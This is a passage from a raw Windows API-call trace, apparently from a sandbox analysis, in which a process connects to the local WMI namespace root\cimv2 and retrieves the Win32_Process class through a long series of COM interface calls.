ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0111.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0111.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b4d1b00) returned 0x0 [0111.478] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1b00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.478] WbemDefPath:IUnknown:Release (This=0x1b4d1b00) returned 0x3 [0111.478] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0111.478] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0111.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0111.478] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0111.478] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0111.478] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0111.479] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0111.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4af5e0) returned 0x0 [0111.479] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0111.479] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0111.479] WbemDefPath:IWbemPath:SetText (This=0x1b4af5e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0111.479] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0111.479] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0111.479] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.479] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0111.479] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0111.479] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0111.479] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.480] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b4d1e40) returned 0x0 [0111.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1e40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0111.480] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d1e40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b4d1da0) returned 0x0 [0111.480] WbemLocator:IUnknown:Release (This=0x1b4d1e40) returned 0x0 [0111.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1da0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b4d1da0) returned 0x0 [0111.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1da0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0111.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1da0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0111.481] WbemLocator:IUnknown:AddRef (This=0x1b4d1da0) returned 0x3 [0111.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1da0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0111.488] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1da0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0111.488] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1da0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0111.489] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0111.489] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0111.489] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1da0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0111.489] WbemLocator:IUnknown:Release (This=0x1b4d1da0) returned 0x2 [0111.489] WbemLocator:IUnknown:Release (This=0x1b4d1da0) returned 0x1 [0111.489] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0111.489] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0111.489] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1da0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d1da0) returned 0x0 [0111.489] WbemLocator:IUnknown:AddRef (This=0x1b4d1da0) returned 0x3 [0111.489] WbemLocator:IUnknown:Release (This=0x1b4d1da0) returned 0x2 [0111.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0111.489] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0111.489] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.489] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d1880) returned 0x0 [0111.490] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d1880, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4b38f0) returned 0x0 [0111.529] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b38f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b4ad070) returned 0x0 [0111.533] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4ad070, pProxy=0x1b4b38f0, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0111.534] WbemLocator:IUnknown:Release (This=0x1b4ad070) returned 0x1 [0111.534] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b38f0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b4ad0b8) returned 0x0 [0111.534] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b38f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b4ad070) returned 0x0 [0111.534] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4ad070, pProxy=0x1b4b38f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0111.534] WbemLocator:IUnknown:Release (This=0x1b4ad070) returned 0x2 [0111.534] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x1 [0111.534] CoTaskMemFree (pv=0x1b461be0) [0111.534] WbemLocator:IUnknown:Release (This=0x1b4d1880) returned 0x0 [0111.534] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b38f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b4ad0b8) returned 0x0 [0111.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0111.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0111.536] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b38f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0111.536] WbemLocator:IUnknown:AddRef (This=0x1b4ad0b8) returned 0x3 [0111.536] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0111.536] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0111.536] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b4acf98) returned 0x0 [0111.537] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4acf98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.537] WbemLocator:IUnknown:Release (This=0x1b4acf98) returned 0x3 [0111.537] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0111.537] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0111.537] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b4ad080) returned 0x0 [0111.537] WbemLocator:IRpcOptions:Query (in: This=0x1b4ad080, pPrx=0x1b4ad0b8, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0111.537] WbemLocator:IUnknown:Release (This=0x1b4ad080) returned 0x3 [0111.537] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x2 [0111.537] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0111.537] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0111.537] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4b38f0) returned 0x0 [0111.537] WbemLocator:IUnknown:AddRef (This=0x1b4b38f0) returned 0x4 [0111.537] WbemLocator:IUnknown:Release (This=0x1b4b38f0) returned 0x3 [0111.537] WbemLocator:IUnknown:Release (This=0x1b4b38f0) returned 0x2 [0111.537] SysStringLen (param_1=0x0) returned 0x0 [0111.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0111.538] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0111.538] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.538] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0111.538] WbemLocator:IUnknown:AddRef (This=0x1b4ad0b8) returned 0x3 [0111.538] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b4ad0b8) returned 0x0 [0111.538] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x3 [0111.538] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x2 [0111.538] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0111.538] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0111.538] IWbemServices:GetObject (in: This=0x1b4b38f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4cfad0, ppCallResult=0x0) returned 0x0 [0111.542] IWbemClassObject:Get (in: This=0x1b4cfad0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0111.542] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0111.542] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0111.542] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0111.543] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0111.543] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0111.543] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.550] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d1c80) returned 0x0 [0111.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1c80, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0111.550] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1c80, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4b0120) returned 0x0 [0111.550] WbemDefPath:IUnknown:Release (This=0x1b4d1c80) returned 0x0 [0111.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4b0120) returned 0x0 [0111.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0111.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0111.551] WbemDefPath:IUnknown:AddRef (This=0x1b4b0120) returned 0x3 [0111.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0111.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0111.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d1b40) returned 0x0 [0111.551] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1b40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.551] WbemDefPath:IUnknown:Release (This=0x1b4d1b40) returned 0x3 [0111.551] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0111.551] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0111.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0120, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0111.551] 